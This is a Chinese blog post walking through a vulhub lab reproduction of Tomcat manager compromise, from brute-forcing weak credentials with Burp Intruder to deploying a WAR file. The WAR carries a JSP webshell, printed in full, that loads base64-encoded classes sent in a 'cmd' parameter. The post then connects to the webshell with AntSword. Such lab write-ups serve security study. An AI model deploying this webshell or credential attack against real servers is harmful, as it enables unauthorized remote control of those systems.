首页 > 系统相关 >【漏洞复现】Tomcat弱口令+后台getshell

【漏洞复现】Tomcat弱口令+后台getshell

时间:2023-02-07 10:25:46浏览次数:64  
标签:文件 getshell payload Tomcat tomcat 目录 jsp 复现 war

Tomcat7+ Weak Password && Backend Getshell Vulnerability

1.弱口令

vulhub部署好靶机环境以后;

在登录窗口随机输入账号密码,如admin:123456;

打开burp抓包,发现数据包中包含了base64加密以后的账号、密码;

将数据包转发至intruder模块,在position处选择加密后的字符串作为目标

在payloads中选择custom iterator自定义迭代类型,即通过笛卡尔积得到账号密码的所有可能组合

在payload options position1中导入账号字典

在payload options position2中写入冒号:

在payload options position3中导入密码字典

最后在payload processing中Add-Encode-Baese64-encode

取消勾选URL特殊符号编码

Attack;

根据返回结果,长度不一的结果为dG9tY2F0OnRvbWNhdA==,base64解码后为tomcat:tomcat,成功爆破得到账号密码。

2.Getshell

登录到后台后可以通过部署war包进行getshell

war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。

一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个 web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。

1.生成一个.jsp木马

<%!
      class U extends ClassLoader {
		  U(ClassLoader c){
			  super(c);
		  }
		  public Class g(byte[] b){
			  return super.defineClass(b,0,b.length);
		  }
	  }
	 public byte[] base64Decode(String str) throws Exception{
		 try{
			 Class clazz =Class.forName("sun.misc.BASE64Decoder");
			 return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
		 }catch (Exception e){
			 Class clazz =Class.forName("java.util.Base64");
			 Object decoder =clazz.getMethod("getDecoder").invoke(null);
			 return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
		 }
	 }
%>
<% 
       String cls =request.getParameter("cmd");
       if(cls != null){
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 
 }
%>

2.生成war包

jar cvf tomcat.war a.jsp

3.部署war包

4.应用列表上成功出现/tomcat

访问tomcat下的jsp文件

xxxxxxxxxxx/tomcat/a.jsp,成功访问,即部署成功。

5.蚁剑连接

xxxxxxxxxxxxx/tomcat/a.jsp

密码为cmd

测试连接,成功访问本机所有文件,拿到shell

参考文章:https://blog.csdn.net/weixin_46601374/article/details/123955886

标签:文件,getshell,payload,Tomcat,tomcat,目录,jsp,复现,war
From: https://www.cnblogs.com/arongsec/p/17097454.html

相关文章

  • Eclipse关联tomcat
    Eclipse关联tomcat一,添加TomcatWindows-->Preferences-->Server-->RuntimeEnviroment添加一个tomcat,这里选择tomcat8.0Nextbrowse选择tomcat8.0所......
  • Tomcat内存设置详解
    一、常见的Java内存溢出有以下三种: 1. java.lang.OutOfMemoryError:Javaheapspace ----JVMHeap(堆)溢出JVM在启动的时候会自动设置JVMHeap的值,其初始空间(即-Xms)是物......
  • 163-cas-server5.3 在idea运行的tomcat运行
    下载cas-overlay-template,https://github.com/apereo/cas-overlay-template.git下载分支5.3。其他分支本地暂时无法编译通过。下载完成后,直接运行:mvncleanpackage......
  • 通过nginx 反向代理tomcat,模拟实现两台tomcat的负载均衡
    我们大家都知道nginx是一个高可用,高并发、高性能,可扩展性好,高可靠性,热部署,BSD许可证的一款轻量级的Web服务器。我们接下来搭建,通过nginx实现tomcat的负载均衡。废话不......
  • SQLGetShell
    SQLGetShell利用sql注入来上传我们的木马后门,连接得到服务器shell确定注入点得到网站目录user='andupdatexml(1,concat(0x7e,@@basedir,0x7e),0)--+&password=asdf&......
  • Docker第二章:Docker镜像、容器卷、单机tomcat、mysql、redis安装
    镜像一种轻量级、可执行的独立软件包,我们把应用程序和配置依赖打包形成一个可交付的运行环境(包括代码、运行时所需的库、环境变量和配置文件等),这个打包好的运行环境就是im......
  • [西湖论剑 2023 初赛] Reverse赛题复现
    BabyRE有人昨天以为rc4用的就是空秘钥,那么他是谁呢通过在字符串里找到DASCTF的关键字,一直交叉引用可以找到主要逻辑这里注册的三个函数就是整个题的流程了第一个函数......
  • linux上 查看tomcat日志文件
    来源1:https://www.linchaokun.cn/263.html来源2:http://www.cnblogs.com/sxdcgaq8080/p/9044654.html1、先切换到logs目录比如:cd/opt/apache-tomcat-7.0.65/logs2、tai......
  • Linux 配置Tomcat、SpringBoot项目开机自启
    Linux配置Tomcat、SpringBoot项目开机自启#javaenvironment指定java环境exportJAVA_HOME=/home/jdk1.8.0_11exportCLASSPATH=.:${JAVA_HOME}/jre/lib/rt.jar:${JAV......
  • Nginx配置tomcat负载均衡,解决css样式丢失问题
    Nginx配置tomcat负载均衡,解决css样式丢失问题增加location~.*即可http{upstreamgzf{ip_hash;server192.168.2.171:8380;server192.1......